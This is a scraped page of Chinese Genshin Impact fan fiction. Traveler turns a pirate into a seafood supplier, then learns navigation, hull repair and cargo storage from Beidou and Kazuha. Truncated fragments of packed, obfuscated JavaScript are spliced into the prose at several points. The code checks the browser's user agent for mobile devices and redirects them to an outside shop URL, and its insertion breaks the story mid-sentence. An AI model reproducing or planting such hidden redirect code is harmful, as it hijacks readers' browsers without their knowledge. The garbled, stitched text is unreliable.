六、附加条款：乙方向甲方提供外海渔场信息及航路安全情报，甲方额外支付每月三百摩拉信息费。 独眼龙一条一条看完了。 他的手下们也凑过来看。识字的帮不识字的念。 "大哥，每月三百摩拉信息费！就是聊聊天就有钱拿！" "而且八折收购比张老三那奸商强多了！" "碧海商队……这名字还真挺好听的……" 独眼龙看完合同，沉默了很久。 然后他做了一个所有人都没想到的动作：他把弯刀收回腰间，蹲下来，盯着荧的账本看了好一会儿。 "你真的欠了四十万？" 荧："真的。" 独眼龙站起来，叹了口气。 "我出海八年，抢了没一百次也有八十次，第一次被人用账本劝退的。" 他接过笔，在合同上签了个名字。 荧低头看了一眼。签名不是"独眼龙"，而是"周大海"。 她没说什么，也签上了自己的名字。 派蒙凑过来看："周大海？你本名叫周大海？" 周大海把笔扔回去，语气恢复了几分硬气："叫独眼龙！在海上只叫独眼龙！周大海是家里人叫的！" 老周头这时候从舵轮后面探出头来，看了看周大海，又看了看签好的合同，嘿嘿笑了。 "周大海？你是不是琉璃滩的？" 周大海愣了："你怎么知道？" 老周头吸了口烟："我也姓周，琉璃滩的。你爹是不是叫周根生？" 周大海的眼罩差点又掉了："你……你认识我爹？" 老周头："何止认识。你爹跟我一起跑过十年船。你小时候还管我叫叔呢。有一年你掉进海里，还是我捞上来的。" 周大海的脸一下子涨成了猪肝色："那件事别提了！" 老周头不依不饶："怎么不能提？你当时哭得鼻涕泡都出来了，抱着我大腿喊''周叔救命''。你弟在岸上笑了你整整一年。" 全场安静了三秒钟。 周大海的手下们的目光从弯刀转向了他们的大哥。拿鱼叉的小弟嘴角抽搐了一下，低下头假装系鞋带，肩膀一抖一抖的。 周大海猛地把眼罩拉下来盖住半张脸——虽然只盖住了一只眼。 "以前的事都别提了！谁小时候没掉过海！" 老周头乐得直拍大腿。 荧觉得这个展开过于离谱，但又完全符合璃月"六度分隔"的社交密度。在这个地方，你随便抢个人，对方船上可能就有你爹的朋友。 合同签完之后，气氛忽然就变了。 刚才还剑拔弩张的两帮人，现在坐在稳沉号的甲板上聊天。周大海的手下们帮初号机搬鱼，初号机教他们怎么用冰史莱姆保鲜。 一个手下好奇地看着初号机干活："这个丘丘人怎么这么听话？" 荧："它是我的员工。" 手下："员工？丘丘人也能当员工？" 荧："望舒客栈有六个丘丘人员工，都上了璃月户籍，持证上岗。" 周大海走过来，听到这话，表情变得很微妙。 他看了看初号机麻利的动作：搬鱼、装箱、铺冰、封盖，一气呵成。 "工资多少？" 荧："试用期八十摩拉一个月，转正后一百二十，包吃住，节假日有奖金。" 周大海的嘴角抽了一下。 他转头看了看自己的手下们。十来个人，每人每月分到的抢劫收入平均不到两百摩拉，这还是生意好的月份。遇上风暴季，连续几周出不了海，就一个子儿都没有。而且没人包吃住，船上的伙食是自带的，住的是甲板。 而这几个丘丘人，固定月薪，包吃包住，还有节假日奖金。 一个海盗的待遇，还不如一个丘丘人。 拿鱼叉的小弟也算出来了，小声说："大哥，我们的收入还没丘丘人高……而且丘丘人不用冒着被千岩军抓的风险……" 旁边拿晾衣杆的那个补了一句："丘丘人还有户籍呢。我们连身份证都没有。" 周大海的脸色越来越难看。 "都闭嘴。" 荧假装没听到这段对话，低头在账本上记录今天的交易。 派蒙飘过来，凑到她耳边说："荧，我觉得独眼龙大哥整个人都不好了。" 荧小声回答："知道。但这不是坏事。一个开始反思现状的人，比一个只知道抢劫的人好打交道。" 周大海在甲板上坐了一会儿，站起来回到自己的船上。 临走前他回头看了荧一眼。 "三天后，归离原外海，老位置。我给你带五百条琉璃鲷鱼和两筐珊瑚。" 荧："一手交货一手交钱。" 周大海点头。 他跳回自己的船，冲手下们挥手："走了！" 海盗船调头驶向南方。黑旗在海风中猎猎作响。 走出一段距离后，荧看到海盗船上有人正在做一件事，用一块布把骷髅旗盖住了。 可能是怕被北斗的南十字船队看到。也可能是别的原因。 派蒙飘在荧旁边，看着海盗船远去。 "荧。" "嗯？" "你刚才不紧张吗？" 荧想了想："紧张。手心全是汗。但紧张的时候越不能让对方看出来。前世我提案的时候，面对二十个评委，腿抖得像筛子，但PPT照样翻得很稳。" 派蒙："可我看到海盗的时候真的好害怕。我躲在你后面，手都在发抖。" 荧转头看她："但你后来站出来帮我说话了。指着船说''帆是缝过的，船板上次掉过一块''，那段话说得太好了，比我的账本更有说服力。" 派蒙："真的吗？" 荧："真的。我负责展示数据，你负责展示现场。这叫搭档配合。" 派蒙眨了眨眼睛，忽然笑了。 "搭档！" "嗯。" "那我们下次遇到海盗，还是这么配合？" 荧："希望没有下次。但如果有……" "你掏账本，我指船板！" 荧没忍住，笑了。 初号机在旁边听不懂她们在说什么，但看到两个人在笑，也跟着挥了挥小旗子："姆西米塔！" 老周头在舵轮后面吸烟，吐出一口烟圈。 "荧老板，你这买卖做得比我跑了三十年船见过的都邪乎。头一回见海盗签购货协议的。" 荧："世上无难事。"

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183867|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 老周头："你要说''只要肯登攀''，我劝你再想想。攀什么不好，攀海盗。" 荧没接话。 她翻开航行日志，在"首航总结"下面写了新的一页： "二次出航总结 航行状况：天气良好，无风暴。 渔获：一百三十条琉璃鲷鱼（已装舱）。 意外事件：遭遇海盗''独眼龙''（本名周大海，琉璃滩人，老周头世交）。 处理方式：商业谈判。 成果：签订《海上供应商购货协议》，获得稳定海鲜供应渠道及外海航路情报。 损失：零。 净赚：待回港销售后结算，预估五千摩拉。" 她看着这页日志，又想起上一页写的"损失五千摩拉"。 一次亏五千，一次赚五千。 刚好扯平。 但方向确实在变好。 稳沉号在傍晚时分回到了璃月港。 这一次，码头上没有围观的人群。没人注意到这条破船安安静静地靠了岸，卸了鱼，结了账。 荧觉得，这比上次好多了。不被注意到，说明没出洋相。 鱼卖给了码头上的鱼贩，一百三十条琉璃鲷鱼加上杂鱼和螃蟹，总共卖了七千二百摩拉。扣掉两千摩拉成本，净赚五千二百摩拉。 派蒙拿着钱袋，开心得转圈："赚钱了！出海终于赚钱了！" 荧把摩拉收好，在账本上更新数字。 然后她站在码头上，看着港口里来来往往的船只。 那些大船，三桅五帆，吃水很深，在港口里进出自如。船上的水手们动作娴熟，收帆、靠岸、卸货，一整套流程行云流水。 她低头看看稳沉号。一桅一帆，缝过的补丁还在，右舷第三块板的桐油灰还泛着新鲜的光泽。 差距很大。但第一次出海被拖回来，第二次出海赚了钱，还签了份供货协议。进步是实实在在的。 "派蒙。" "嗯？" "我觉得我们该找北斗学点东西了。" 派蒙歪头："学什么？" 荧："航海。正经的航海。不是老周头教的三个词，是系统的航海知识。怎么看星图定位，怎么判断风向和洋流，怎么在风暴里操船。上次风暴来的时候，我连''收帆''都听不懂。今天遇到的是讲道理的海盗，下次可能遇到不讲道理的。" 派蒙想了想："找北斗学航海？但上次她收了我们五千摩拉拖船费……" 荧："正因为如此，她欠我们一个人情，毕竟那五千是天价了。我去找她谈，拜师学艺，学费另算。" 派蒙："荧，你是不是什么都能算成生意？" 荧："这不叫生意，这叫资源整合。" 派蒙翻了个白眼，但嘴角是翘的。 夜色降临，璃月港的灯火亮了起来。 荧和派蒙走在回客栈的路上。 派蒙忽然停下来："荧，我有个问题。" 荧："说。" 派蒙："你今天掏账本的时候，是早就想好的，还是临时发挥？" 荧想了想："临时发挥。我本来想掏避水符吓唬他们的，但摸错了口袋。" 派蒙："……所以今天的商业谈判，起因是你摸错了口袋？" 荧："运气也是实力的一部分。" 派蒙决定不追问了。 走了几步，派蒙又说："对了荧，有件事我必须提前声明。" "什么？" "下次出海之前，你得去找胡桃再买一张避水符。给我的。上次在风暴里我被吹了半个时辰，嘴里吃了三根海草。" 荧："已经买了。就在你的小背包里。" 派蒙低头翻了翻，摸出一张崭新的避水符。淡金色的符纸，背面盖着往生堂的蝴蝶印章，叠得整整齐齐。 派蒙看了看符，又看了看荧。 "什么时候放进去的？" "买船那天。" 派蒙张了张嘴，好像想说点什么煽情的话，但最终只说了一句： "那你为什么不早点告诉我？我在风暴里白吃了三根海草！" 荧加快了脚步。 派蒙抱着避水符追上来："荧！你是故意的吧！你明明有符，看我被吹来吹去，你是不是在笑！" 荧："没有。" 派蒙："你嘴角在动！" 荧："风吹的。" 两个人的声音消失在璃月港的夜色里。 码头上，稳沉号安安静静地停着，船身随波浪轻轻起伏。右舷第三块船板的桐油灰还泛着光，帆面上蒙三绣的锯齿纹在月光下若隐若现。 它看起来还是很破。 但今天没有被拖回来。 43.北斗培训（上） 找北斗拜师这件事，比荧想象的顺利。 她在码头上等了两天，第三天傍晚，南十字号靠港补给。北斗站在船头指挥卸货，看到荧走过来，笑了。 "又来了？这次不用拖吧？" 荧："不用拖。我来谈个事。" 北斗跳下船，叉着腰听完了"想学航海"的请求。 "学航海？"北斗上下打量了她一眼，"你那条稳沉号出了两次海，一次被我拖回来，一次被海盗堵了。你确实该学。" 荧："学费怎么算？" 北斗想了想："不收你钱。你上次的拖船费算预付了。再说你那个海盗购货协议的事码头上传遍了，把独眼龙变成供应商，有点意思。" 她拍了拍荧的肩膀，力道不小，荧往前踉跄了一步。 "明天早上辰时来找我。带上你那个飞的和那个丘丘人。" 荧："初号机带去不会有问题吗？码头上的人看到丘丘人……" 北斗无所谓地摆了摆手："南十字号上什么人没有。稻妻流浪武士、枫丹逃兵、璃月通缉犯，我船上全装过。一个丘丘人算什么。你跟它说好别在甲板上乱跑就行，我的人见怪不怪。" 第二天一早，荧、派蒙和初号机准时到了码头。 南十字号的补给已经在昨晚完成了，甲板收拾得干干净净。北斗坐在船头喝酒，看见三个人来了，晃了晃酒壶："上来吧。今天船不走，正好上课。" 南十字号的体量至少是稳沉号的十倍。荧连踩了三下脚下的甲板，纹丝不动，半点没有稳沉号那种踩一脚晃三晃的虚浮感。 北斗从船长室走出来，身后跟着万叶。白发，红叶，腰间挂着一把刀。荧在游戏里抽到过他，六命满精通深渊常驻队。穿越之后面对真人版，她不由得多看了两眼。屏幕上的立绘和面前的活人，质感完全不同。 "这是枫原万叶，我船上的副手。航海的事他比我更细。" 万叶微微点头："初次见面。" 初号机对万叶行了个丘丘人的礼。万叶神色没有任何异样，只是微微回了个点头。船上的水手们有几个好奇地多看了初号机两眼，但没人大惊小怪。 北斗拖了几个木箱搭了个简易课堂，海图铺在箱子上。 "好了，开始。今天只讲一样：看图。航线怎么看，洋流怎么读，都在这张图上。操船和修船放到明天，别急着全学完，急的人学不深。" 万叶展开海图。 "这是璃月近海的航线图。蓝色是安全航线，红色是暗礁区，绿色是洋流方向，黑色虚线是季风路径。你们上次出海走的是这条。" 他在图上画了一条线。 荧凑过去看。蓝色、红色、绿色、黑色，密密麻麻的线条在纸面上交织。她以前在游戏里只知道地图上有个箭头表示风向，从来没想过现实中的航线这么复杂。 但荧很快注意到了海图边缘的标注。每条航线旁边都标着数字：航行时间、燃料消耗、停泊费、预估收入。 荧的注意力一下子被这些数字抓住了。 "这些数字是什么？" 万叶："航线的基础成本和收益估算。北斗船长的习惯，每条航线都会标注。" 荧盯着那些数字看了好一会儿。璃月到枫丹，航行时间十天，燃料和补给成本约八千摩拉，关税两千，但枫丹缺丝绸，璃月的丝绸运过去能卖出三倍溢价。净利润四万到六万。 一趟。 她的手指在海图上从璃月港划到枫丹，又划到须弥。须弥那条航线旁边标注的货物是"异国香料"，须弥本地产量不够，璃月的石珀香在须弥能卖出天价。 指尖在稻妻那条断续的虚线上顿了顿，又很快移开了。 "这不是航线图。"荧喃喃自语，"这是航钱图。" 甲板上安静了两秒。 北斗先反应过来，笑了一声："航钱图？" 万叶也微微笑了："每条航线本质上就是一条资金流动路径。这么理解倒也没错。" 荧没反驳。从钱的角度看航线，反而比单纯看地理要清楚得多。哪条线值得跑，利润空间在哪里，风险敞口在哪里。前世做广告策划时天天算这些，本质都是ROI核算，只不过那时候看的是媒体投放表，现在看的是航海图。 她趁万叶去拿罗盘的间隙，把近海航线快速扫了一遍。跨国航线利润高，近海短途利润薄但周转快、风险可控。现阶段稳沉号只够跑近海。 不过有一条航线引起了她的注意。图上标注为"稻妻"的航线，画法跟其他航线不一样。其他航线都是实线，这一条是断续的虚线，旁边没有标注关税和停泊费，只写了四个字："非常规线"。 "万叶，稻妻那条航线怎么跟别的不一样？" 万叶看了北斗一眼。北斗喝了口酒，点了下头。 万叶："稻妻目前处于锁国状态。幕府颁布了海禁令，禁止外国商船进出。正规港口不对璃月商人开放，没有公示的关税标准。这条断续的虚线跟前面说的固定季风路径不同，它代表没有常年安全的航道，全靠船长对风和海的经验现场判断。没有常年跑远洋的本事，进去就是死路。" 荧皱眉："那这条航线是？" 北斗放下酒壶："是我跑的。南十字号跟社奉行有些渠道，细节你不用知道。这条线不是谁都能跑的，你的稳沉号走不了。" 她顿了一下："不过最近稻妻那边有些变化，锁国令撑不了太久了。等哪天稻妻重新开港，这条航线就是金矿。先到先得。" 荧记下了这句话，但眼下用不上。先跑近海短途。 万叶接着讲洋流。 "璃月近海有三股主要洋流。璃月暖流从南向北，冬季最强，顺着走船速快三成。稻妻寒流从东北来，夏季明显，逆流帆船基本走不动。" "第三股比较特殊。归离原附近有一片回旋流，水流在近岸形成一个环形。" 荧："我们上次捕鱼的渔场就在归离原外海。" 万叶点头："所以你们回程时有没有觉得船在原地转圈？" 荧回忆了一下。好像确实有一段路，老周头骂了好几句脏话。 万叶："回旋流的危险不在于风浪，而在于舵效急剧下降。船被卷进边缘水流之后，舵面的推力会被四面来的水流抵消大半，转向变得非常迟钝。" 荧皱眉："怎么判断？" 万叶："两个信号。第一看水面，回旋流边缘会出现一片异常平滑的镜面区，那是下面的高速旋转把表面波纹压平了。第二听船底，水流拉扯会让船体发出持续的低鸣。像有什么东西在船底拖着你走。" 荧后背微微发凉。上次回程的时候，她好像确实隐约听到过那种声音。当时以为是稳沉号在散架。 "发现这两个信号，先收半帆控住船速，然后配合转舵调整航向。全帆展满反而危险，船速越快越容易被环形水流拽进中心。半帆给你刚好够用的推力，舵负责把这个推力偏转到你想去的方向。方向是垂直于水流切出去，不是逆着水流硬冲。逆着冲只会被拽得更快。" 荧在笔记本上仔细记下来：回旋流识别，水面镜面区+船底低鸣。处理：收半帆控速+转舵配合，垂直切出，不逆流。 万叶补了最后一段："还有一种辅助判断的方法，但这个不是技术，是直觉。在海上待久了，你会慢慢感觉到风的变化和水流的关系。回旋流搅动水面产生温差，温差催生局部风场，两侧船舷的风力会变得不一样。不过这种感觉需要时间，急不来。先把前面两条记牢就够了。" 他看了荧一眼，语气里不像在教技术，更像在叮嘱。 "每个船员都有自己读懂大海的节奏，不用跟别人比。" 荧点了点头。万叶说这话的时候，目光落在远处的海面上。 万叶讲完洋流，荧主动问了一个问题。 "航线图上璃月到枫丹的关税标了两千，但去须弥的关税只有八百。距离差不多，为什么差这么多？" 万叶看了她一眼，有些意外。北斗也坐直了一点。 万叶："枫丹对进口丝绸征收额外的织品税。须弥对香料类宽松，但对矿石武器管控极严。不同国家税制针对的品类不同，同样距离的航线利润结构可能完全不一样。" 荧低头在笔记本上算了一笔：虽然枫丹关税高两千多，但丝绸售价也高，算下来走枫丹航线每趟反而多赚近万摩拉。 北斗抬手拍了下木箱，发出咚的一声闷响："行啊。第一天就能看出这个。不过会算账不等于会开船。账算得再好，海上翻了都白搭。" 荧没得意。纸面分析能力再强，实际操船经验为零，真到了海上该慌还是慌。 北斗站起来，伸了个懒腰。 "今天就到这。回去把今天讲的航线和洋流整理一遍，自己消化。明天上午教操船，下午看修船。" 她看了荧一眼："别死背数字。数字跑两趟自然记住。我要的是你理解每条航线的逻辑：哪条线顺风顺水，哪条暗礁多，哪条季节性强。背一百遍不如亲自跑一遍。" 万叶在旁边微微笑了。 派蒙小声问："万叶，你刚上船的时候是怎么记住这些的？" 万叶："看了一遍海图。" 派蒙："然后呢？" 北斗替他答了："没有然后。这小子看一遍就全记住了。天赋这种东西没法比，你们老老实实多看几遍就行。" 派蒙瞬间垮了脸，连手里攥着的笔都放下了。 三个人从南十字号下来，走回码头。 初号机走在最前面，手里还攥着小旗子，时不时回头看一眼南十字号。派蒙飘在半空，翻着自己的笔记本。 荧走在最后面。 她从码头上远远看了一眼停在角落里的稳沉号。 小。 不是跟南十字号比的那种"相对小"，是看清了差距之后才有的、具体的小。南十字号上每一块甲板、每一条帆绳都在告诉她，一条真正能跑远洋的船是什么样子。而稳沉号在码头角落里缩着，像一只蹲在大狗旁边的老猫。 她走到稳沉号旁边，习惯性地踩了踩甲板。 晃了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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客栈账上的流动资金一共一万五左右，这还是算上了两次出海卖鱼的收入。其中每个月固定支出就要花掉大半：璃月总店的日常杂费、清泉镇分店的运营开支、北岸银行月供。能匀给修船的钱，撑死了一万。 刚好够。但花完之后，这个月的运营就要靠赊账过日子了。 不修船，推荐函拿到了也是废纸。不能接货运单，就只能捕鱼，每次出海赚几千摩拉，永远还不上四十万的债。 近海短途跑货运，单程利润大约一万到一万五。修完船顺利跑一趟就能回本。但稳沉号的故障率目前是百分之百，两次出海两次出事。第三次再出事，就是倒贴。 以前在广告公司预算紧的时候也这样过日子，但那时候最坏不过项目延期。现在最坏的结果是银行收客栈、扣船，连翻本的机会都没有。 "荧？" 派蒙飘在旁边，小心翼翼地看着她。 荧把笔记本合上。 "人工费太贵了。四千摩拉，快赶上材料费了。" 派蒙："老周头说码头船坞就这个价，不讲价的。" 荧沉默了几秒钟。 "如果我自己换呢？北斗说明天教修船。我跟万叶要一份换板流程，买材料自己动手，省掉四千人工。帆面让二号机用库房旧麻布拼接。" 派蒙掰着手指头算："材料六千，帆面不要钱，人工不要钱……总共六千？比原来省四千！" "对。但省下来的钱不是零花钱。" 派蒙把伸出去的手缩了回来。 荧知道，就算省了四千，六千依然要掏空这个月的大半预算。但没有退路。她必须把稳沉号修好，拿到货运资质，才有可能真正开始赚钱。 她重新打开笔记本，开始把今天记的洋流知识画成示意图。 画到一半，派蒙忽然开口了。 "荧，你有没有想过，我们不一定非要买货再卖？" 荧的笔顿了一下。 "什么意思？" 派蒙一下子来了精神："航线图上写的都是买货、运货、卖货，中间要垫很多本钱。但如果我们运的东西不是买来的呢？清心花，绝云间漫山遍野都是。松茸，绝云间的林子里每年秋天长一茬。自己去采，成本就是零。运回来卖，全是利润！完全免费！" 荧看着她。严格来说不是"完全免费"，时间和人力也是成本，但跟买货的资金成本比起来可以忽略。风干松茸一颗两百摩拉，清心花一朵八十摩拉，哪怕只采二十颗松茸和三十朵清心花，就是几千摩拉的货。接近零成本。 但绝云间山路难走，清心花长在悬崖边上，还有野生的岩龙蜥和遗迹猎者。她没有元素力，单靠她和派蒙两个人应付不来。 "方向是对的。但路线、装备、人手，都得再想想。先把船修好。" 派蒙虽然被按住了，但明显还很亢奋，飘在半空中转来转去。 荧低下头继续画洋流图。但"完全免费"这四个字在她脑子里转了好几圈。 窗外月亮升起来了。老周头在院子里抽烟，烟斗的火星在夜色里忽明忽暗。 稳沉号要修。操船要学。绝云间要去。但所有计划都建立在一个前提上：稳沉号不能再沉了。 她吹灭油灯。明天还有操船课。 44.北斗培训（下） 培训第二天，上午操船，下午修船。 北斗在港口外教了两个时辰。荧握着稳沉号的舵轮跑了七八个来回，收帆、转舵、调整航向渐渐有了手感。北斗的评价是"比想象的好，但离及格还差得远"，让她回去每天自己练。 下午，万叶带着工具箱来到稳沉号。十二块预裁的垂香木板已经由初号机从码头木材行搬到了船边，码放得整整齐齐。每块板都比实际所需尺寸宽出半指，万叶说这是修船的惯例，留出修整余量，安装时用刨刀削到合适再上。垂香木密度大，一块少说二十来斤，荧试着搬了一块，从船尾抬到中段就吃不住劲了。初号机跑过来接手，单手夹着往里走，步子稳得很。 万叶看着初号机搬板的样子，微微笑了一下，对荧说："力气不小，而且很小心，没有磕碰到船舷。重活让它来。你负责精细活。" 初号机听到夸奖，回头看了万叶一眼，把手里的板子放得更轻了。 "换板的顺序很重要。"万叶蹲在右舷，用撬棍把第一块旧板撬起来。"从船尾往船头换，因为船尾应力最小。从中间开始的话，两边旧板失去支撑会互相挤压，整面舷板可能一起塌。" 荧记住了：从船尾往船头，逐块换。 旧板撬下来，露出龙骨和肋材。龙骨没有明显虫蛀，但接缝处有一圈白色的盐渍。 "龙骨能用。盐渍刮掉就行。" 荧蹲下来拿刮刀一点一点地刮。盐渍很硬，两根肋材刮完，手腕已经酸了。昨天提水练臂力的后遗症还在。但她没停。 肋材清理干净，万叶示范装新板。 "今天要装的六块垂香木板昨晚已经泡过盐水了，木纹吃饱了盐分，装上去之后海水再泡也不会膨胀变形。剩下六块明天晚上泡，后天再装。一次泡太多，没装的板子在盐水里泡过头会过度膨胀，上船之后反而容易开裂。" 他拿起一块泡好的板材，先用刨刀沿边缘削掉多出来的余量，削好之后拿刷子在新露出的切面上补涂了一遍盐水。然后贴到肋材上比位置。 "板和板之间留一指宽缝隙，用麻筋塞紧。麻筋搓成拇指粗的绳，一寸一寸往里塞，塞到指甲掐不进去为止。然后刷防腐漆。顺序不能反，先麻筋后刷漆。反了漆面会把湿气锁在里面，两个月就烂。" 他现场演示了完整流程：上架、对位、钉固、塞筋、刷漆。手势干净利落。 "对位最费时间。每条船的肋材间距有微小差异，所以板子预裁时留了余量。安装前先用刨刀把多出来的部分削掉，削到跟肋材间距刚好合适。削过的切面木纹没吃过盐，要用刷子补涂一遍盐水再装，不然那条边下海之后会吸水膨胀。偏松的缝隙用麻筋多塞一层补偿。" 荧照着做第一块。对齐反复调了五六次，钉子也歪了两颗。万叶在旁边看着，偶尔伸手帮她扶一下，但没有代替她做。第二颗钉子又歪的时候，万叶轻声说："锤子握短一点，靠近锤头，力道更容易控制。"荧调整了握法，第三颗钉子稳稳钉进去了。 到第三块，速度明显快了。对位、钉固、塞筋、刷漆，四步流程进入了节奏。初号机在旁边递板、扶板、搬工具，配合很好。 荧钉好第四块板，低头看了看自己的手。指缝里全是木屑，虎口上磨出的水泡已经破了，上面沾着盐渍和防腐漆。这双手半年前还在键盘上敲策划案。 第六块板装完，天色暗了下来。万叶看了看："今天先到这。剩下六块明天换，防腐漆要等今天这批干透。" 荧站起来的时候腰酸得几乎直不起来。 第三天上午，剩下六块板换完了。速度快了不少，每块从对位到刷漆只要两刻钟。万叶检查了所有接缝。 "有两块麻筋偏松，补一遍。其他合格。" 荧返工完，帆面也在这天装好了。二号机前两天用旧麻布拼了一面新帆，双层缝制，拼接处额外加了三层加固线脚。万叶帮忙把帆挂上桅杆，拉了拉帆绳试了试张力。北斗看了一眼："顶五级风没问题，六级以上收帆。" 下午，北斗搬出一个木箱。 "最后一课：货物储运。光会开船不够，得知道运什么、怎么存、什么东西碰不得。" 箱子里摆着四样东西：干蘑菇、一块深蓝色矿石、一小罐腌制海产、一包密封茶叶。 万叶拿起干蘑菇。 "松茸。干松茸在各国都受欢迎，价格翻倍。但松茸最怕潮，海上湿度大，必须通风保存。" 北斗补了一句："松菇要通风。通风通风通风。" 派蒙正在认真记笔记，笔突然停了。 "通风？" 北斗："对，通风。" 派蒙歪了一下头："我还以为你说痛风。" 北斗指着她："通风！空气流通的通！不是风湿骨痛的痛！" 派蒙赶紧在"通风"两个字旁边画了个圈，标注"不是痛风"。 北斗接着讲腌货和茶叶。腌货怕热，放船舱最底层靠近水线，温度最低。茶叶吸味，必须单独密封，远离任何有气味的货物。 派蒙在本子上一条一条记下来："腌货→底舱，低温。茶叶→单独密封，防串味。" 荧也在笔记本上画了船舱分区图：左侧放鱼获和腌货，冰史莱姆制冷；右侧放松茸和茶叶，通风干燥；中间密封隔板。 万叶看了她的草图点头："可以。记住隔板一定要密封，不然鱼腥味渗过去，茶叶就废了。" 讲完三样，万叶拿起了那块深蓝色矿石。 矿石巴掌大小，表面看着普通。万叶用手掌遮住阳光，矿石内部立刻泛出幽蓝色的荧光。 "夜泊石。璃月明蕴镇出产的照明矿石，遇暗发光，遇水更亮。普通的小颗也就几十摩拉，但拳头大、无杂质、发光均匀的极品，一块能卖上千。" 派蒙凑过来看："好漂亮。"她在本子上写了一行："极品夜泊石＝上千摩拉。普通的不值钱。" 万叶把矿石放回箱子。 "漂亮但脆。碰撞、挤压、剧烈颠簸都会让它开裂，裂了发光性迅速衰减，品相报废。一块上千的石头，裂了只值几十。" 荧："运输核心是防震？" 万叶："对。单独装箱，厚棉布裹三层，箱子填满木屑，禁止叠放，全程避免颠簸。" 他看着远处的海面，语气慢了下来。 "以前码头上有个老船长，跑了半辈子夜泊石。有一次遇上涌浪，来不及加固，一箱十二块全碎了。" 万叶停顿了一下。 "''夜泊一舱青石光，风平赚尽月华黄。浪起不问石中客，碎了才知玉有霜。''那老船长后来不跑了，把这四句话刻在了他的船舱壁上。" 甲板上安静了两秒。 北斗："又来了。" 万叶没在意，只是把矿石放回箱子的时候，手指在石面上轻轻摩挲了一下，像是在跟旧事告别。 派蒙在本子上飞快地写完夜泊石的储存要点："夜泊石→防震，棉布三层+木屑，禁叠放。"然后在最底下加了一行小字："万叶念了首诗。好听，但不影响上面的干货。" 荧合上笔记本。 北斗看了看天色。 "行了。考核。" "现在？"派蒙叫出来。 北斗："海上不给你时间准备。" 笔试十道题，口答。荧答对了九道。北斗之前定的规矩是答对七道算过，九道远超及格线。"笔试，过了。就是漏的那一道不该漏。望风山岬角是璃月到枫丹航线上最后一个淡水补给点，过了那个点再往北走三天才有下一个。你要是跑远洋漏了这个点，半路上水喝完了，就知道这一题值多少条命。" 唯一错的是"璃月港到枫丹最短航线经过几个补给点"，她答三个，正确答案四个，漏了望风山岬角。 实操在港口外围进行。荧驾着稳沉号从泊位出发，绕港口外的灯塔跑了一圈回来。 船身随涌流晃了一下，左舷传来一声低沉的吱嘎声。不是新板的声音，是左舷旧板在应力下发出的。北斗之前就说过，稳沉号的问题从来不止右舷那十二块板，右舷修好了，左舷的朽坏只是还没彻底暴露。 荧的指尖在舵轮上紧了紧。她练的不只是操舵，是怎么让这条半新半旧的船安全地跑完每一趟。 新装的垂香木板稳得很，右舷不再有那种让人心虚的闷响。转弯时船头偏了大约五度，荧在两秒内修正回来。 北斗站在码头上看完全程。 "实操，勉强过了。转弯偏五度，你修正回来了，但旁边有船的话这五度就是剐蹭。继续练。" 最后是应急考核。 北斗跳上稳沉号，让荧把船开到港口外有涌浪的地方。等了一会儿，一道涌浪打过来，船身一侧。北斗抓住这个瞬间，从腰间抽出小刀，在左舷靠近水线的一块旧船板上戳了一个洞。 涌浪回落的时候洞口露出水面，下一道浪涌上来，海水立刻灌了进去。 "左舷破损进水。处理。" 荧没有先去堵洞。她站直身子，快速扫了一眼进水位置和水流方向，然后喊了一声："初号机，舀水！派蒙，工具箱翻麻筋和木片！" 分工之后她才蹲下来处理破口。水从洞口往里涌，她先用左手掌按在洞口上挡住大半水流，右手从派蒙手里接过麻筋搓成团，趁抬手换位的瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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荧："绝云间。绝云间山上遍地野生松茸、琉璃袋、清心花。自己采，成本接近零。" 派蒙的表情从困惑变成兴奋。 "不完全免费。"荧掰着手指，"绝云间的山路不好走，实际脚程比地图上看着远得多。上山下山加采集至少三四天。松茸采下来六个时辰内必须处理，得带工具现场晾晒。而且绝云间有岩龙蜥和遗迹猎者，我没有元素力，单靠我们两个应付不来。" 她在笔记本上列了成本清单：路上干粮五十摩拉，攀爬绳索和工具一百摩拉，人手不够需要带初号机。一趟大概一百五十摩拉。 "那预计能赚多少？" 荧算了一下。上辈子做策划案的时候有个习惯：先算最保守的收入，再算最乐观的，取中间值做预算。 "鲜松茸不值钱，几摩拉一斤，又重又容易烂。关键是晾干。鲜货九斤才出一斤干货，但干货的价格是鲜货的十几倍。所以得带工具上山现场晾晒，采下来六个时辰内不摊开就废了。干松茸本地市价十五到二十摩拉一颗，走货运卖到枫丹或须弥能翻两三倍。清心花本地十五摩拉一朵，绝云间崖壁上采个三十朵就是四百五。琉璃袋五摩拉一个，量大但单价低，看能背多少。" 派蒙在本子上飞快地算："一趟加起来保守一千多，运到国外三千以上？扣掉一百五的成本……" "关键是安全。"荧合上笔记本，"路线、人手、怎么避开岩龙蜥的活动区域，都得提前摸清楚。回去之后找老周头问，他以前在绝云间采过药。" 派蒙点头。她在本子上认真写了一行："绝云间采集计划。成本约一百五十摩拉。本地卖一千+，运到国外三千+。需要：路线、装备、人手。问老周头。" 荧站在船头，看着远处的绝云间。几座山峰插在云层里，山腰被雾气缠绕。 派蒙也看着那几座山。 "荧。" "嗯。" "松茸好吃吗？" "应该不错。" "采的时候能不能自己留几颗？" "留一颗。" "就一颗？" "留了就不是接近零成本了。" 